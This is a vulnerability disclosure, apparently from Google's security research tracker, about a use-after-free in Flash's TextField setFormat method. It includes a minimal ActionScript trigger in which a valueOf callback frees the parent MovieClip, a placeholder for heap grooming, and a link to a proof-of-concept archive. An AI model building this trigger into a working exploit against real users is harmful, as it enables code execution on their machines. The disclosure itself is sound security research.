Source: https://code.google.com/p/google-security-research/issues/detail?id=586

The TextField setFormat method contains a use-after-free. If an integer parameter has valueOf defined, or the object parameter overrides a constructor, this method can free the TextField parent, which is subsequently used.

A minimal PoC is as follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
var f = new TextFormat();
tf.setFormat( {valueOf : func}, 2, f);

function func(){

        if(times == 0){
             times++;
             return 0;

         }

	mc.removeMovieClip();

        // Fix heap here

	return 0;

	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39046.zip